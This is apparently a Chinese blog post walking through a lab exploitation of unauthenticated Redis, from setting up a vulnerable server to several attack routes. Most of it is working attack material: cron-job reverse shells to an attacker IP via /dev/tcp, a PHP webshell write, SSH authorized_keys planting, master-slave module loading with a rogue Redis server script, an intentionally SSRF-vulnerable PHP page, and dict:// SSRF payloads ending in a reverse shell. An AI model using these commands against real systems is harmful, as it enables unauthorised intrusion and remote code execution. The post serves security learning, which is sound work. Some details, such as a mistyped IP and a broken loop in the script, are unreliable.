首页 > 数据库 >redis未授权

redis未授权

时间:2024-01-25 21:57:00浏览次数:26  
标签:set resp redis 192.168 exp 授权 config

redis未授权

搭建环境

ubuntu安装并启动redis服务

wget http://download.redis.io/releases/redis-3.2.11.tar.gz#下载压缩包

tar xzf redis-3.2.11.tar.gz#解压

cd redis-3.2.11#进入目录

make#编译执行

cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
#把上面两个文件拷贝到/usr/bin/方便使用命令

redis-server#启动服务

cp redis.conf /etc/#把配置文件拷贝到后面文件中
vim /etc/redis.conf#修改配置文件

#注释掉绑定ip:blnd 127.0.0.1,允许除本地外的其他主机访问
#把protected yes中的yes改为no,允许远程连接redis服务
redis-server /etc/redis.conf#使用修改后的配置文件启动服务
systemctl start sshd#开启ssh服务

#关闭防火墙
iptables -F
setenforce 0
getenforce
systemctl stop firewalked

ubuntu的ip:19.168.43.36

kali的ip:192.168.43.149

利用思路

1.定时任务/启动项弹shell

linux的redis就是定时任务:/etc/crontab

windows就是启动项:

所有用户:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

特定用户:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

区别就是设置的dir不同

/var/spool/crontab--计划任务目录   /etc/crontab--系统级别的计划任务配置
redis-cli -h 192.168.43.36
config set dir /var/spol/cron/crontabs
config set dbfilename root
set xxo "\n\n/bin/bash -i>&/dev/tcp/192.168.43.149/5678 0>&1\n\n"
kali监听:nc -lvp 5678

2.写webshell

设置dir位web目录

config set dir /var/www/html
config set dbfilename shell.php
config set xxo "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

3.写入公钥

如果是root身份运行redis则写入ssh公钥

kali:
ssh-keygen -t rsa #生成公钥私钥
cd /root/.ssh
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>pubKey.txt#将公钥写入文件
cat pubKey.txt | redis-cli -h 10.10.10.135 -x set crack#通过管道将公钥写到redis数据库的crack键中
redis-cli -h 192.168.43.36
config set dir /home/greenhill/.ssh
config set dbfilename authorized_keys
save
ssh -i id_rsa [email protected]#公钥给服务器,用自己的私钥登录
利用条件还挺苛刻的
主要是ssh配置文件
PermitRootLogin yes  #允许root登录
PermitEmptyPasswords yes  #允许空密码登录
PasswordAuthentication yes  #设置是否使用口令验证。
PasswordAuthentication no   //yes改为no
RSAAuthentication yes   #去掉前面的注释
PubkeyAuthentication yes  #去掉前面的注释
AuthorizedKeysFile .ssh/authorized_keys  #去掉前面的注释
authorized_keys的权限不能太高(600就可以),.ssh权限700

4.主从复制

拿到一个shell探测到内网的redis

SSRF探测到内网的redis

1.需要自己起一个redis服务器,然后连接到被攻击的redis服务器执行命令(或者通过SSRF执行命令)

config set dir /tmp
config set dbfilename exp.so
slaveof 自己redis服务器的ip port#这里设置自己的redis服务器为主节点,被攻击的为从节点
module load /tmp/exp.so
system.exec 'id'

使用脚本自动攻击

RedisModules-ExecuteCommand-master,进入目录 make

把得到的.so文件复制到redis-rogue-server-master目录

python redis-rogue-server.py --rhost 192.168.57.134 --rport 6379 --lhost 192.168.57.130 --lport 1234

image-20240124134347154

redis-cli连接或者SSRF执行命令

system.exec "whoami"

image-20240124134459536

5.SSRF+redis主从

春秋杯2023冬季赛遇到了,但是没有弄公网ip所有自己本地搭一个试试

这里只用春秋杯冬季赛里面的执行curl_exec造成SSRF部分的代码,反序列化部分就不用了

ubuntu:192.168.57.134

kali:192.168.57.130

先ubuntu起一个redis服务,端口是6379,配置bind:127.0.0.1 ::1,开启protected-mod模式

然后起一个web服务

sudo apt install php libapache2-mod-php
sudo apt isntall apache2
sudo service apache2 start
sudo apt isntall php-curl#记住要下载这个扩展,不然cURL报错
sudo service apache2 restart

index.php:

<?php
highlight_file(__FILE__);
$url=$_GET['url'];
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
if(curl_errno($ch)){
    echo 'ERROR!';
}
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
?>

http://192.168.57.134/index.php?url=dict://127.0.0.1:6379/info

探测成功,直接利用

还是kali先用上面介绍的工具编译好exp.so、起一个恶意redis服务

redis-server.py:

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True:    
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()            
            conn.send(resp)    
        #elif "exit" in data:
            break


if __name__=="__main__":

    parser = OptionParser()                     
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")            

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename     
    RogueServer(lport)

因为这里的redis只要目标本机可以联通,也就是只能用SSRF去打,所有之前说的一键利用脚本用不了

image-20240125214324472

redis在kali起好后,去web利用SSRF执行redis命令

dict://127.0.0.1:6379/config:set:dir:/tmp
dict://127.0.0.1:6379/config:set:dbfilename:exp.so
dict://127.0.0.1:6379/slaveof:192.168.57.130:1234
dict://127.0.0.1:6379/module:load:/tmp/exp.so
dict://127.0.0.1:6379/slaveof:no:one
dict://127.0.0.1:6379/system.exec:'id'

image-20240125214606798

可以看到执行成功,反弹shell:dict://127.0.0.1:6379/system.rev:192.168.57.130:2346

image-20240125214912884

标签:set,resp,redis,192.168,exp,授权,config
From: https://www.cnblogs.com/q1stop/p/17988267

相关文章

  • Redis缓存优化项目
    Redis数据库基础Redis数据库概述Redis是一个基于内存的key-value结构数据库,即非关系型数据库(NoSql)数据库并不是要取代关系型数据库,而是关系型数据库的一种补充。Redis是互联网技术领域使用最为广泛的存储中间件,他是用C语言开发的一个开源的高性能键值对(key-value)数据库,官方......
  • Redis篇-redis使用场景-缓存-缓存雪崩-04
    1缓存雪崩缓存雪崩是指在同一时段大量的缓存key同时失效或者Redis服务宕机,导致大量请求到达数据库,带来巨大压力。解决方案:给不同Key的TTL添加随机值;利用Redis集群提高服务的可用性;哨兵模式、集群模式给缓存业务添加降级限流策略;ngxin或springcloudGateway给业务添加......
  • go-zero配置DB的redis缓存
    配置定义:#catinternal/config/config.gopackageconfigimport( "github.com/zeromicro/go-zero/rest" "github.com/zeromicro/go-zero/core/stores/cache")typeConfigstruct{ rest.RestConf CacheRediscache.CacheConf}对应的配置文件:#cat......
  • Redis实战篇
    实战篇Redis优秀博客黑马点评项目学习笔记(15w字详解,堪称史上最详细,欢迎收藏)-CSDN博客Redis实战篇|Kyle'sBlog(cyborg2077.github.io)开篇导读hutol工具使用对象bean和JsonStr互转//功能:javabean转jsonstr用途:存入到redisStringjsonstr=JSONUtil.toJsonSt......
  • 基于Redis的Stream类型的完美消息队列解决方案(全)
    1概述2追加新消息,XADD,生产消息3从消息队列中获取消息,XREAD,消费消息4消息ID说明5消费者组模式,consumergroup6Pending等待列表7消息转移8坏消息问题,DeadLetter,死信问题9信息监控,XINFO10命令一览11Stream数据结构,RadixTree,基数树12相关产品1概述Redis5.......
  • Redis整形溢出漏洞(CVE-2021-32761)及修复脚本
    今天的计划是修复线上的redis漏洞Redis整形溢出漏洞(CVE-2021-32761)及修复脚本目的:修复生产的redis漏洞,主要是整数溢出漏洞,但是过程中发现还有反弹shell漏洞(次要,毕竟需要密码)计划:获取生产的redis版本账号和密码在测试环境搭建反正环境漏洞的研究与证实测试环......
  • Java21 + SpringBoot3整合Redis,使用Lettuce连接池,推荐连接池参数配置,封装Redis操作
    目录前言相关技术简介Redis实现步骤引入maven依赖修改配置文件定义Redis配置类定义Redis服务类,封装Redis常用操作使用Redis服务类总结前言近日心血来潮想做一个开源项目,目标是做一款可以适配多端、功能完备的模板工程,包含后台管理系统和前台系统,开发者基于此项目进行裁剪和扩展......
  • java使用redis 加锁
    配置类:publicclassRedisLockUtil{privatestaticRedisCacheredisCache=null;/***给key加锁,如果加锁成功,则返回true,加锁失败返回false*@return*/publicstaticbooleanlock(Stringkey,Integertimeout,TimeUnittimeUnit){......
  • Blazor SSR/WASM IDS/OIDC 单点登录授权实例4 - 部署服务端/独立WASM端授权
    目录:OpenID与OAuth2基础知识BlazorwasmGoogle登录BlazorwasmGitee码云登录BlazorSSR/WASMIDS/OIDC单点登录授权实例1-建立和配置IDS身份验证服务BlazorSSR/WASMIDS/OIDC单点登录授权实例2-登录信息组件wasmBlazorSSR/WASMIDS/OIDC单点登录授权实例3-服......
  • Blazor SSR/WASM IDS/OIDC 单点登录授权实例5 - Winform 端授权
    目录:OpenID与OAuth2基础知识BlazorwasmGoogle登录BlazorwasmGitee码云登录BlazorSSR/WASMIDS/OIDC单点登录授权实例1-建立和配置IDS身份验证服务BlazorSSR/WASMIDS/OIDC单点登录授权实例2-登录信息组件wasmBlazorSSR/WASMIDS/OIDC单点登录授权实例3-服......